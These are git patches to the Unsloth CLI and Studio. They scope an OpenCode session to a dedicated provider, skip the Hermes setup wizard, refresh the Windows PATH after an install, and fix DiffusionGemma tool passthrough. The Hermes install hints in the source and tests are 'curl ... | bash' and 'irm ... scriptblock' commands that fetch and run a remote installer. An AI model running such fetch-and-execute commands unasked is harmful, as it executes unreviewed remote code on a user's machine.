Injecting --model whenever the passthrough started with a flag could place it
before a subcommand (e.g. opencode --print-logs serve), which opencode can
misparse. --model is unnecessary for any passthrough because the inline
OPENCODE_CONFIG_CONTENT pins the model in the highest-priority layer, so the
session model is forced without the flag. Restrict --model to the bare launch
and pass any other invocation through untouched.

* Register the session provider under a dedicated OpenCode id

Selecting the Unsloth model reliably required the wrapper to re-enable a
user-disabled unsloth provider, which meant reconstructing OpenCode's full
disabled_providers resolution (global, OPENCODE_CONFIG overlay, project config
discovered via --dir or an ancestor walk, .opencode directories,
OPENCODE_CONFIG_DIR, config.json/opencode.json/opencode.jsonc precedence, and
{env:} variable substitution) and overriding it in the inline layer. That is
unbounded and cannot be kept correct.

Register the session provider under a dedicated id (unsloth-studio) instead. A
user's disabled_providers list would never target it, so the session model is
always selectable and the overlay no longer reads or writes disabled_providers
at all: the user's own disables, in whatever config layer, are left exactly as
they are. This removes the JSONC parser, the config-directory scan, and the
ancestor/global resolution helpers, and the tests that exercised them.

* Scope the opencode session to the Studio provider

opencode filters every provider, including a config-defined custom one, through
its enabled_providers allowlist and disabled_providers denylist, and pinning the
model does not bypass that gate (a filtered provider resolves to a not-found
error). The provider arrays are also replaced, not merged, across config layers.
So a user with an enabled_providers allowlist that omits the session provider
would still have the Studio model filtered out.

Set enabled_providers to just the session provider and clear disabled_providers
in the inline OPENCODE_CONFIG_CONTENT overlay (the highest-priority layer, which
replaces these arrays). This guarantees the Studio model loads regardless of the
user's provider filters, without reading or reconstructing their multi-layer
config. It is session-only: the overlay lives in the env for this launch and
never touches the user's config files, so their normal opencode is unchanged and
only this session is limited to the Studio provider.

Also drop the redundant --model on --no-launch so the printed command stays
append-safe for drivers that append a subcommand (the inline pin forces the
model), and parse both POSIX and PowerShell no-launch output in the opencode
tests so they are not shell-specific.

* Pin opencode small_model to the session provider

The session allowlists only the Studio provider, but opencode's separate
small_model (used for lightweight tasks) could still point at another provider
from the user or project config; under the allowlist that provider is filtered,
so the lightweight task would resolve a not-found error mid-session even with the
main model pinned. Pin small_model to the session model in the same inline
overlay so every model use stays on the enabled provider. The session serves one
model, so it is the only valid target, and this stays session-only like the rest
of the overlay.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Wasim Yousef Said <wasimysdev@gmail.com>
---
 unsloth_cli/commands/start.py   |  54 +++++++++++--
 unsloth_cli/tests/test_start.py | 132 ++++++++++++++++++++++++++------
 2 files changed, 158 insertions(+), 28 deletions(-)

diff --git a/unsloth_cli/commands/start.py b/unsloth_cli/commands/start.py
index 1895125b11..d959d20c83 100644
--- a/unsloth_cli/commands/start.py
+++ b/unsloth_cli/commands/start.py
@@ -50,6 +50,12 @@ _HERMES_PROVIDER = "unsloth"
 # windows and scales the compaction threshold back down to the real window.
 _HERMES_MIN_CONTEXT = 65536
 _PI_PROVIDER = "unsloth"
+# OpenCode selects a model by "<providerID>/<modelID>" and honors a user
+# disabled_providers list. Register the session provider under a dedicated id a
+# user's disable list would never target, so the model is always selectable
+# without the wrapper having to reconstruct (and override) OpenCode's full,
+# multi-layer disabled_providers resolution.
+_OPENCODE_PROVIDER = "unsloth-studio"
 _PROVIDER_HEADER = f"[model_providers.{_CODEX_PROFILE}]"
 _PASSTHROUGH = {"allow_extra_args": True, "ignore_unknown_options": True}
 _CLAUDE_ENV_UNSET = ("ANTHROPIC_API_KEY", "CLAUDE_CODE_OAUTH_TOKEN")
@@ -1116,13 +1122,17 @@ def write_opencode_config(
     config = _read_json_object(path)
     if config is None:
         typer.echo(
-            f"Warning: couldn't parse {path} — add an 'unsloth' provider there "
-            "yourself, or move the file aside and re-run.",
+            f"Warning: couldn't parse {path} — add an '{_OPENCODE_PROVIDER}' provider "
+            "there yourself, or move the file aside and re-run.",
             err = True,
         )
         return {}
     before = json.dumps(config, sort_keys = True)
     config.setdefault("$schema", "https://opencode.ai/config.json")
+    # The session provider is registered under a dedicated id (_OPENCODE_PROVIDER)
+    # that a user's disabled_providers list would never target, so it is always
+    # selectable without this overlay having to reconstruct or override OpenCode's
+    # disabled_providers resolution.
     model_entry = {"name": model["id"]}
     window = model.get("context_length") or model.get("max_context_length")
     if window:
@@ -1131,14 +1141,14 @@ def write_opencode_config(
         # disables OpenCode's auto-compaction; declare the real window (and a sane
         # output cap) so it compacts instead of overflowing the server.
         model_entry["limit"] = {"context": window, "output": min(window // 4, 8192)}
-    _subdict(config, "provider")["unsloth"] = {
+    _subdict(config, "provider")[_OPENCODE_PROVIDER] = {
         "npm": "@ai-sdk/openai-compatible",
         "name": "Unsloth Studio",
         "options": {"baseURL": f"{base}/v1", "apiKey": key},
         "models": {model["id"]: model_entry},
     }
     # OpenCode selects a model by "<providerID>/<modelID>".
-    config["model"] = f"unsloth/{model['id']}"
+    config["model"] = f"{_OPENCODE_PROVIDER}/{model['id']}"
     if window:
         # Compact with ~10% headroom (near 90% full). The fixed 20k-token default
         # buffer over-compacts, or never settles, on a small local context.
@@ -1450,7 +1460,20 @@ def opencode(
         serve = serve,
         launch = launch,
     )
-    command = ["opencode", *ctx.args]
+    opencode_model = f"{_OPENCODE_PROVIDER}/{entry['id']}"
+    # The inline OPENCODE_CONFIG_CONTENT below pins the model in the highest-priority
+    # layer, so the session model is forced without a --model flag. Only add --model for
+    # an interactive bare launch (a convenience so the TUI opens on our model). It is
+    # omitted for passthrough (inserting it before a subcommand can be misparsed) and for
+    # --no-launch, where the printed command is consumed by drivers that append a
+    # subcommand such as `run <prompt>`; a leading --model would land before that
+    # subcommand and break it. Those paths rely on the inline pin instead.
+    if ctx.args:
+        command = ["opencode", *ctx.args]
+    elif launch:
+        command = ["opencode", "--model", opencode_model]
+    else:
+        command = ["opencode"]
     with _session_config("opencode", launch) as cfg:
         config_path = cfg / "opencode.json"
         # OPENCODE_CONFIG is an overlay (loaded between the user's global and project
@@ -1462,7 +1485,26 @@ def opencode(
         # outranks project config; the API key stays in the private file, never the env.
         # Only --yolo carries a permission here (its allow must win over a project config);
         # a non-yolo session returns no permission, so the project's own rules are honored.
-        inline_config: dict = {"model": f"unsloth/{entry['id']}"}
+        # opencode filters every provider (a config-defined custom one included) through
+        # its enabled_providers allowlist and disabled_providers denylist, and a model pin
+        # does not bypass that gate -- a filtered provider resolves to ModelNotFoundError.
+        # To guarantee the session model loads without reading or modifying the user's real
+        # config, scope THIS session to our provider alone: allowlist _OPENCODE_PROVIDER and
+        # clear the denylist. These arrays are replaced (not merged) by higher layers, so
+        # setting them in the highest-priority inline overlay neutralizes any user allowlist
+        # or denylist for the launch. It is session-only: it lives in OPENCODE_CONFIG_CONTENT
+        # for this invocation and never touches the user's config files, so their normal
+        # `opencode` is unchanged; only this session is limited to the Studio provider.
+        # small_model is opencode's separate model for lightweight tasks; pin it to the
+        # session model too, or a user/project small_model on another (now filtered)
+        # provider would resolve a not-found error mid-session. The session serves one
+        # model, so the session model is the only valid target here anyway.
+        inline_config: dict = {
+            "model": opencode_model,
+            "small_model": opencode_model,
+            "enabled_providers": [_OPENCODE_PROVIDER],
+            "disabled_providers": [],
+        }
         if session_permission:
             inline_config["permission"] = session_permission
         env = {
diff --git a/unsloth_cli/tests/test_start.py b/unsloth_cli/tests/test_start.py
index affc24626e..58888010b3 100644
--- a/unsloth_cli/tests/test_start.py
+++ b/unsloth_cli/tests/test_start.py
@@ -435,15 +435,10 @@ def test_opencode_inline_config_beats_project_config(fake_studio):
     # permissions) ride in OPENCODE_CONFIG_CONTENT, which outranks project config.
     result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch", "--yolo"])
     assert result.exit_code == 0, result.output
-    content_line = next(
-        ln for ln in result.output.splitlines() if ln.startswith("export OPENCODE_CONFIG_CONTENT=")
-    )
-    inline = json.loads(
-        shlex.split(content_line.removeprefix("export OPENCODE_CONFIG_CONTENT="))[0]
-    )
-    assert inline["model"] == f"unsloth/{MODEL['id']}"
+    inline = _opencode_inline_config(result.output)
+    assert inline["model"] == f"{start._OPENCODE_PROVIDER}/{MODEL['id']}"
     assert inline["permission"] == {"edit": "allow", "bash": "allow", "webfetch": "allow"}
-    assert "sk-unsloth" not in content_line  # key stays in the private file
+    assert "sk-unsloth" not in result.output  # key stays in the private file, not the env
 
 
 def test_opencode_inline_config_omits_permission_without_yolo(fake_studio):
@@ -452,13 +447,8 @@ def test_opencode_inline_config_omits_permission_without_yolo(fake_studio):
     # user's project rules; clearing our own config is the fix, and the inline pins the model.
     result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"])
     assert result.exit_code == 0, result.output
-    content_line = next(
-        ln for ln in result.output.splitlines() if ln.startswith("export OPENCODE_CONFIG_CONTENT=")
-    )
-    inline = json.loads(
-        shlex.split(content_line.removeprefix("export OPENCODE_CONFIG_CONTENT="))[0]
-    )
-    assert inline["model"] == f"unsloth/{MODEL['id']}"
+    inline = _opencode_inline_config(result.output)
+    assert inline["model"] == f"{start._OPENCODE_PROVIDER}/{MODEL['id']}"
     assert "permission" not in inline
 
 
@@ -1376,14 +1366,17 @@ def test_write_opencode_config_fresh(tmp_path):
     path = tmp_path / "opencode.json"
     start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path)
     config = json.loads(path.read_text())
-    provider = config["provider"]["unsloth"]
+    provider = config["provider"][start._OPENCODE_PROVIDER]
     assert provider["npm"] == "@ai-sdk/openai-compatible"
     assert provider["options"] == {"baseURL": f"{BASE}/v1", "apiKey": "sk-unsloth-abc"}
     # Context limit must be declared, or OpenCode treats it as 0 and disables compaction.
     assert provider["models"] == {
         MODEL["id"]: {"name": MODEL["id"], "limit": {"context": 131072, "output": 8192}}
     }
-    assert config["model"] == f"unsloth/{MODEL['id']}"
+    assert config["model"] == f"{start._OPENCODE_PROVIDER}/{MODEL['id']}"
+    # The overlay never writes disabled_providers; the dedicated provider id is one a
+    # user's disable list would not target, so nothing needs re-enabling.
+    assert "disabled_providers" not in config
     # Compaction buffer scaled to ~10% of the window (compact near 90%).
     assert config["compaction"] == {"auto": True, "reserved": 131072 // 10}
 
@@ -1391,18 +1384,98 @@ def test_write_opencode_config_fresh(tmp_path):
 def test_write_opencode_config_preserves_and_idempotent(tmp_path):
     path = tmp_path / "opencode.json"
     path.write_text(
-        json.dumps({"theme": "tokyonight", "provider": {"anthropic": {"name": "Anthropic"}}})
+        json.dumps(
+            {
+                "theme": "tokyonight",
+                "disabled_providers": ["ollama", "unsloth"],
+                "provider": {"anthropic": {"name": "Anthropic"}},
+            }
+        )
     )
     start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path)
     config = json.loads(path.read_text())
     assert config["theme"] == "tokyonight"
+    # The overlay no longer edits disabled_providers; re-enabling unsloth is done in
+    # the inline layer, so an existing list here is preserved untouched.
+    assert config["disabled_providers"] == ["ollama", "unsloth"]
     assert config["provider"]["anthropic"]["name"] == "Anthropic"
-    assert config["provider"]["unsloth"]["options"]["baseURL"] == f"{BASE}/v1"
+    assert config["provider"][start._OPENCODE_PROVIDER]["options"]["baseURL"] == f"{BASE}/v1"
     before = path.read_text()
     start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path)
     assert path.read_text() == before
 
 
+def test_write_opencode_config_keeps_foreign_disabled_providers(tmp_path):
+    # A user who disabled other providers (but not unsloth) must keep them disabled:
+    # the overlay must not rewrite disabled_providers, or those providers get silently
+    # re-enabled for the session.
+    path = tmp_path / "opencode.json"
+    path.write_text(json.dumps({"disabled_providers": ["openai", "gemini"]}))
+    start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path)
+    config = json.loads(path.read_text())
+    assert config["disabled_providers"] == ["openai", "gemini"]
+
+
+def _opencode_inline_config(output: str) -> dict:
+    # --no-launch prints OPENCODE_CONFIG_CONTENT as a POSIX `export NAME=<shell-quoted>`
+    # line on Unix/WSL and a PowerShell `$env:NAME = "<escaped>"` line on native Windows;
+    # parse whichever the host emitted so the opencode tests are shell-agnostic.
+    name = "OPENCODE_CONFIG_CONTENT"
+    for raw in output.splitlines():
+        line = raw.strip()
+        if line.startswith(f"export {name}="):
+            return json.loads(shlex.split(line.removeprefix(f"export {name}="))[0])
+        prefix = f'$env:{name} = "'
+        if line.startswith(prefix) and line.endswith('"'):
+            escaped = line[len(prefix) : -1]
+            # Reverse _print_env's PowerShell escaping (backtick is the escape char).
+            value = escaped.replace("`$", "$").replace('`"', '"').replace("``", "`")
+            return json.loads(value)
+    raise AssertionError(f"{name} not found in:\n{output}")
+
+
+def test_opencode_inline_scopes_session_to_studio_provider(fake_studio):
+    # opencode filters even config-defined providers through enabled/disabled_providers,
+    # and a model pin does not bypass that gate. The inline overlay (session-only, highest
+    # layer, arrays replace) allowlists our provider and clears the denylist so the Studio
+    # model always loads regardless of the user's config, without reading or editing it.
+    result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    inline = _opencode_inline_config(result.output)
+    assert inline["enabled_providers"] == [start._OPENCODE_PROVIDER]
+    assert inline["disabled_providers"] == []
+    assert inline["model"] == f"{start._OPENCODE_PROVIDER}/{MODEL['id']}"
+    # small_model stays on the enabled provider too, so lightweight tasks do not resolve a
+    # filtered provider mid-session.
+    assert inline["small_model"] == f"{start._OPENCODE_PROVIDER}/{MODEL['id']}"
+
+
+def test_opencode_passthrough_flags_omit_model_flag(fake_studio):
+    # Any passthrough (top-level flags that may precede a subcommand, or a subcommand)
+    # is left untouched; --model is not injected. The model is pinned by the inline
+    # OPENCODE_CONFIG_CONTENT (highest layer) instead, so it is still forced.
+    result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch", "--dir", "repo"])
+    assert result.exit_code == 0, result.output
+    command = _launch_command(result.output)
+    assert command == ["opencode", "--dir", "repo"]
+    assert "--model" not in command
+    assert (
+        _opencode_inline_config(result.output)["model"]
+        == f"{start._OPENCODE_PROVIDER}/{MODEL['id']}"
+    )
+
+
+def test_opencode_passthrough_subcommand_omits_model_flag(fake_studio):
+    # A passthrough subcommand (e.g. `serve`) takes the model from the pinned config;
+    # inserting --model before it would break opencode's arg parsing.
+    result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch", "serve"])
+    assert result.exit_code == 0, result.output
+    command = _launch_command(result.output)
+    assert command[0] == "opencode"
+    assert command[1] == "serve"
+    assert "--model" not in command
+
+
 def test_connect_opencode_no_launch(fake_studio, tmp_path):
     result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"])
     assert result.exit_code == 0, result.output
@@ -1410,9 +1483,24 @@ def test_connect_opencode_no_launch(fake_studio, tmp_path):
     config_path = tmp_path / "agents" / "opencode" / "opencode.json"
     # OPENCODE_CONFIG overlay points at the session file, not the user's global config.
     _assert_env_set(result.output, "OPENCODE_CONFIG", str(config_path))
+    inline_config = _opencode_inline_config(result.output)
     config = json.loads(config_path.read_text())
-    assert config["provider"]["unsloth"]["options"]["apiKey"] == "sk-unsloth-feedfacefeedface"
-    assert config["model"] == f"unsloth/{MODEL['id']}"
+    provider = config["provider"][start._OPENCODE_PROVIDER]
+    assert provider["options"]["apiKey"] == "sk-unsloth-feedfacefeedface"
+    assert config["model"] == f"{start._OPENCODE_PROVIDER}/{MODEL['id']}"
+    # The session config file (a throwaway overlay, not the user's real config) does not
+    # carry provider filters; the session scoping rides in the inline env layer only.
+    assert "disabled_providers" not in config
+    assert "enabled_providers" not in config
+    assert inline_config == {
+        "model": f"{start._OPENCODE_PROVIDER}/{MODEL['id']}",
+        "small_model": f"{start._OPENCODE_PROVIDER}/{MODEL['id']}",
+        "enabled_providers": [start._OPENCODE_PROVIDER],
+        "disabled_providers": [],
+    }
+    # --no-launch prints an append-safe base command (no --model before a subcommand a
+    # driver may append); the model is forced by the inline pin above.
+    assert _launch_command(result.output) == ["opencode"]
     assert not any(c[1].endswith("/api/inference/status") for c in fake_studio)
 
 
@@ -1765,7 +1853,7 @@ def test_no_launch_rerun_clears_stale_opencode_yolo_permissions(fake_studio, tmp
     # revert to OpenCode's permissive "allow" default).
     assert config["permission"] == {"edit": "ask", "bash": "ask", "webfetch": "ask"}
     # The session provider survives the cleanup.
-    assert "unsloth" in config["provider"]
+    assert start._OPENCODE_PROVIDER in config["provider"]
 
 
 def test_no_launch_rerun_clears_stale_openclaw_yolo_state(fake_studio, tmp_path):

From baacbd025d9ce92034cd3a41ad0d1ceacabf8202 Mon Sep 17 00:00:00 2001
From: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Date: Wed, 8 Jul 2026 10:23:25 +0100
Subject: [PATCH 249/306] Fix Hermes install hint on Windows (#6903)

* fix: use Windows Hermes installer from unsloth start

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Skip the Hermes setup wizard during unattended start-install

unsloth start hermes auto-installs Hermes and then writes its own
session-scoped Hermes config. The install commands, as written, drop into
the installer's interactive setup wizard (hermes setup), which prompts for
global API keys and model choice and points the user at a different global
provider than the one Unsloth just configured, blocking the launch.

Pass the installer's skip flag on both platforms: the PowerShell scriptblock
form with -SkipSetup, and bash -s -- --skip-setup for the piped POSIX
installer.

* Refresh PATH from the registry after a Windows agent install

A Windows installer persists the agent's directory to the User/Machine PATH
in the registry and updates only its own process, so the current process
keeps a stale PATH until it restarts (the installers print 'restart your
terminal'). The post-install shutil.which then misses the just-installed
agent and unsloth start fails with 'installed but isn't on PATH yet',
forcing a re-run in a new shell.

Merge the registry PATH hives back into the process before re-resolving so a
freshly installed agent launches in the same invocation. No-op off Windows
and on any read error; only ever augments PATH.

* Fix/adjust PATH refresh for PR #6903

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
Co-authored-by: wasimysaid <112766706+wasimysaid@users.noreply.github.com>
Co-authored-by: Wasim Yousef Said <wasimysdev@gmail.com>
---
 unsloth_cli/commands/start.py   | 73 +++++++++++++++++++++++--
 unsloth_cli/tests/test_start.py | 96 +++++++++++++++++++++++++++++++++
 2 files changed, 165 insertions(+), 4 deletions(-)

diff --git a/unsloth_cli/commands/start.py b/unsloth_cli/commands/start.py
index d959d20c83..01014de4d3 100644
--- a/unsloth_cli/commands/start.py
+++ b/unsloth_cli/commands/start.py
@@ -44,6 +44,19 @@ _CODEX_PROFILE = "unsloth_api"
 _CODEX_ENV_KEY = "UNSLOTH_STUDIO_AUTH_TOKEN"
 _HERMES_ENV_KEY = "UNSLOTH_API_KEY"
 _HERMES_PROVIDER = "unsloth"
+# Skip the installer's interactive setup wizard: `unsloth start hermes` runs
+# this hint unattended and then writes its own session-scoped Hermes config, so
+# the wizard's global API-key/model prompts would block the launch and point the
+# user at a different (global) provider than the one Unsloth just configured.
+# Both installers expose a skip flag: `-SkipSetup` (PowerShell) and
+# `--skip-setup` (POSIX; passed to the piped script via `bash -s --`).
+_HERMES_WINDOWS_INSTALL_HINT = (
+    "& ([scriptblock]::Create((irm https://hermes-agent.nousresearch.com/install.ps1))) -SkipSetup"
+)
+_HERMES_POSIX_INSTALL_HINT = (
+    "curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent"
+    "/main/scripts/install.sh | bash -s -- --skip-setup"
+)
 # Hermes refuses to initialize when the model window is under 64,000 tokens; its
 # error message points at the model.context_length / auxiliary.compression
 # overrides in config.yaml. write_hermes_config claims this value for smaller
@@ -138,6 +151,10 @@ def _yolo_command_flags(agent: str, yolo: bool) -> list:
     return _YOLO_COMMAND_FLAGS.get(agent, []) if yolo else []
 
 
+def _hermes_install_hint() -> str:
+    return _HERMES_WINDOWS_INSTALL_HINT if os.name == "nt" else _HERMES_POSIX_INSTALL_HINT
+
+
 class LoadOptions(NamedTuple):
     """Model-load knobs forwarded to /api/inference/load when --model triggers a load."""
 
@@ -848,6 +865,54 @@ def _print_env(
     typer.echo(" ".join((*inline, shlex.join(command))))
 
 
+def _refresh_windows_path() -> None:
+    # Merge Windows registry PATH hives after the current process PATH so a
+    # freshly installed agent is visible without changing existing precedence.
+    if os.name != "nt":
+        return
+    try:
+        import winreg
+    except Exception:
+        return
+
+    entries = []
+    seen = set()
+
+    def add_path(value: str) -> bool:
+        added = False
+        for entry in str(value).split(os.pathsep):
+            entry = entry.strip()
+            if not entry:
+                continue
+            key = os.path.normcase(entry).casefold()
+            if key in seen:
+                continue
+            seen.add(key)
+            entries.append(entry)
+            added = True
+        return added
+
+    add_path(os.environ.get("PATH", ""))
+    added_registry = False
+    hives = (
+        (winreg.HKEY_CURRENT_USER, "Environment"),
+        (
+            winreg.HKEY_LOCAL_MACHINE,
+            r"SYSTEM\CurrentControlSet\Control\Session Manager\Environment",
+        ),
+    )
+    for root, sub in hives:
+        try:
+            with winreg.OpenKey(root, sub) as key:
+                value, _ = winreg.QueryValueEx(key, "Path")
+        except OSError:
+            continue
+        if value:
+            added_registry = add_path(os.path.expandvars(str(value))) or added_registry
+    if added_registry:
+        os.environ["PATH"] = os.pathsep.join(entries)
+
+
 def _install_agent(name: str, install_hint: str) -> Optional[str]:
     # Missing agent under --launch: offer to run its documented install command, then
     # re-resolve it on PATH. Consent-based (we never auto-run a remote install script
@@ -866,6 +931,9 @@ def _install_agent(name: str, install_hint: str) -> Optional[str]:
         install_command = ["/bin/sh", "-c", install_hint]
     if subprocess.run(install_command).returncode != 0:
         _fail(f"Install command failed. Run it yourself, then re-run: {install_hint}")
+    # The installer just wrote PATH to the registry (Windows); pull it into this
+    # process so the freshly installed agent resolves without a shell restart.
+    _refresh_windows_path()
     executable = shutil.which(name)
     if executable is None:
         _fail(
@@ -1536,10 +1604,7 @@ def hermes(
         launch = launch,
     )
     command = ["hermes", *_yolo_command_flags("hermes", yolo), *ctx.args]
-    install_hint = (
-        "curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent"
-        "/main/scripts/install.sh | bash"
-    )
+    install_hint = _hermes_install_hint()
     with _session_config("hermes", launch) as home:
         # HERMES_HOME relocates hermes' whole home dir (config.yaml, sessions, state)
         # like CODEX_HOME, so the user's ~/.hermes is left untouched for the session.
diff --git a/unsloth_cli/tests/test_start.py b/unsloth_cli/tests/test_start.py
index 58888010b3..bd964d5e54 100644
--- a/unsloth_cli/tests/test_start.py
+++ b/unsloth_cli/tests/test_start.py
@@ -92,6 +92,7 @@ def test_claude_flags_detected_when_version_not_first_token(monkeypatch):
 
 def test_install_agent_prompts_then_installs(monkeypatch):
     # TTY + yes: run the documented install command, then re-resolve the now-present binary.
+    monkeypatch.setattr(start.os, "name", "posix")
     monkeypatch.setattr(start.sys, "stdin", SimpleNamespace(isatty = lambda: True))
     monkeypatch.setattr(start.typer, "confirm", lambda *a, **k: True)
     ran = []
@@ -108,6 +109,101 @@ def test_install_agent_prompts_then_installs(monkeypatch):
     assert ran == [["/bin/sh", "-c", "npm install -g @openai/codex"]]
 
 
+def test_install_agent_uses_powershell_on_windows(monkeypatch):
+    monkeypatch.setattr(start.os, "name", "nt")
+    monkeypatch.setattr(start.sys, "stdin", SimpleNamespace(isatty = lambda: True))
+    monkeypatch.setattr(start.typer, "confirm", lambda *a, **k: True)
+    ran = []
+    monkeypatch.setattr(
+        start.subprocess,
+        "run",
+        lambda command, *a, **k: ran.append(command) or SimpleNamespace(returncode = 0),
+    )
+    monkeypatch.setattr(start.shutil, "which", lambda _: r"C:\Users\samle\bin\hermes.exe")
+
+    install_hint = "& ([scriptblock]::Create((irm https://x/install.ps1))) -SkipSetup"
+    executable = start._install_agent("hermes", install_hint)
+
+    assert executable == r"C:\Users\samle\bin\hermes.exe"
+    assert ran == [["powershell", "-NoProfile", "-Command", install_hint]]
+
+
+def test_hermes_install_hint_is_windows_native_on_windows(monkeypatch):
+    monkeypatch.setattr(start.os, "name", "nt")
+
+    # Scriptblock form so `-SkipSetup` reaches the installer and the interactive
+    # setup wizard is skipped during the unattended `unsloth start hermes` run.
+    assert start._hermes_install_hint() == (
+        "& ([scriptblock]::Create((irm https://hermes-agent.nousresearch.com/install.ps1)))"
+        " -SkipSetup"
+    )
+
+
+def test_hermes_install_hint_is_bash_on_posix(monkeypatch):
+    monkeypatch.setattr(start.os, "name", "posix")
+
+    # `bash -s -- --skip-setup` forwards the skip flag to the piped installer.
+    assert start._hermes_install_hint() == (
+        "curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent"
+        "/main/scripts/install.sh | bash -s -- --skip-setup"
+    )
+
+
+def test_refresh_windows_path_noop_off_windows(monkeypatch):
+    monkeypatch.setattr(start.os, "name", "posix")
+    before = os.environ.get("PATH", "")
+    monkeypatch.setenv("PATH", before)
+    start._refresh_windows_path()
+    assert os.environ.get("PATH", "") == before
+
+
+def test_refresh_windows_path_merges_registry_hives(monkeypatch):
+    # Fake Windows registry PATH values written after this process started.
+    hkcu, hklm = object(), object()
+    reg = {
+        (hkcu, "Environment"): r"C:\existing;C:\Users\me\hermes\bin",
+        (
+            hklm,
+            r"SYSTEM\CurrentControlSet\Control\Session Manager\Environment",
+        ): r"C:\Windows\System32",
+    }
+
+    class _Key:
+        def __init__(self, value):
+            self._value = value
+
+        def __enter__(self):
+            return self
+
+        def __exit__(self, *a):
+            return False
+
+    def open_key(root, sub):
+        if (root, sub) in reg:
+            return _Key(reg[(root, sub)])
+        raise OSError("missing hive")
+
+    fake_winreg = SimpleNamespace(
+        HKEY_CURRENT_USER = hkcu,
+        HKEY_LOCAL_MACHINE = hklm,
+        OpenKey = open_key,
+        QueryValueEx = lambda key, name: (key._value, 1),
+    )
+    monkeypatch.setattr(start.os, "name", "nt")
+    monkeypatch.setattr(start.os, "pathsep", ";")
+    monkeypatch.setitem(sys.modules, "winreg", fake_winreg)
+    monkeypatch.setenv("PATH", r"C:\custom;C:\existing")
+
+    start._refresh_windows_path()
+
+    assert os.environ["PATH"].split(";") == [
+        r"C:\custom",
+        r"C:\existing",
+        r"C:\Users\me\hermes\bin",
+        r"C:\Windows\System32",
+    ]
+
+
 def test_install_agent_declined_returns_none(monkeypatch):
     # TTY + no: never runs anything; caller falls back to the print-hint failure.
     monkeypatch.setattr(start.sys, "stdin", SimpleNamespace(isatty = lambda: True))

From a113f893ea767a701b589cd321408f718389a2b8 Mon Sep 17 00:00:00 2001
From: oobabooga <oobabooga4@gmail.com>
Date: Wed, 8 Jul 2026 06:30:37 -0300
Subject: [PATCH 250/306] Studio: heal DiffusionGemma tool calls into
 structured tool_calls (#6851)

* Studio: heal DiffusionGemma tool calls into structured tool_calls

* Fall back to supports_tools for backends without the passthrough capability

* Route DiffusionGemma client tools through passthrough when enable_tools is on

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Drop orphaned strip_tool_call_markup import after syncing with main

* Tighten supports_tool_passthrough comment

* Re-run CI on current main

---------

Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
---
 studio/backend/core/inference/llama_cpp.py |  8 +++++++-
 studio/backend/routes/inference.py         | 19 ++++++++++---------
 2 files changed, 17 insertions(+), 10 deletions(-)

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 757467a008..b4f8fe1ca6 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -67,7 +67,6 @@ from core.tool_healing import (
     _strip_bracket_tag_calls,
     apply_tool_strip_patterns,
     strip_outside_think,
-    strip_tool_call_markup,
 )
 from utils.native_path_leases import child_env_without_native_path_secret
 from utils.hf_xet_fallback import hf_hub_download_with_xet_fallback
@@ -1781,6 +1780,13 @@ class LlamaCppBackend:
             return False
         return self._supports_tools
 
+    @property
+    def supports_tool_passthrough(self) -> bool:
+        # supports_tools is forced off for DiffusionGemma (its agentic loop drops the
+        # per-step canvas frames), but client passthrough skips that loop, so it uses
+        # the real _supports_tools.
+        return self._supports_tools
+
     @property
     def cache_type_kv(self) -> Optional[str]:
         return self._cache_type_kv
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index 5332037e0d..ce755ae1fb 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -6053,14 +6053,13 @@ async def openai_chat_completions(
     # free-form sampling. Guided decoding does not require ``supports_tools`` --
     # the grammar machinery is independent of tool-call parsing.
     _has_response_format = _extract_response_format(payload) is not None
-    _tools_passthrough = llama_backend.supports_tools and (
-        (payload.tools and len(payload.tools) > 0) or _has_tool_messages
-    )
-    if (
-        using_gguf
-        and not _effective_enable_tools(payload)
-        and (_tools_passthrough or _has_response_format)
-    ):
+    _tools_passthrough = getattr(
+        llama_backend, "supports_tool_passthrough", llama_backend.supports_tools
+    ) and ((payload.tools and len(payload.tools) > 0) or _has_tool_messages)
+    # DiffusionGemma keeps supports_tools off, so the server-side tool loop can't
+    # claim the request; fall through to client passthrough, matching /v1/messages.
+    _server_tool_loop = _effective_enable_tools(payload) and llama_backend.supports_tools
+    if using_gguf and not _server_tool_loop and (_tools_passthrough or _has_response_format):
         if _wants_multiple_choices(payload):
             raise _reject_unsupported_n("GGUF tool or response_format passthrough")
         if payload.audio_base64:
@@ -10222,7 +10221,9 @@ async def anthropic_messages(
         and not _has_image
     )
     client_tools = (
-        not server_tools and len(openai_client_tools) > 0 and llama_backend.supports_tools
+        not server_tools
+        and len(openai_client_tools) > 0
+        and getattr(llama_backend, "supports_tool_passthrough", llama_backend.supports_tools)
     )
 
     # Anthropic tool_choice.disable_parallel_tool_use caps the response to a

From df6b5a57d97ab206dd85572e9760a36ef779622a Mon Sep 17 00:00:00 2001
From: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
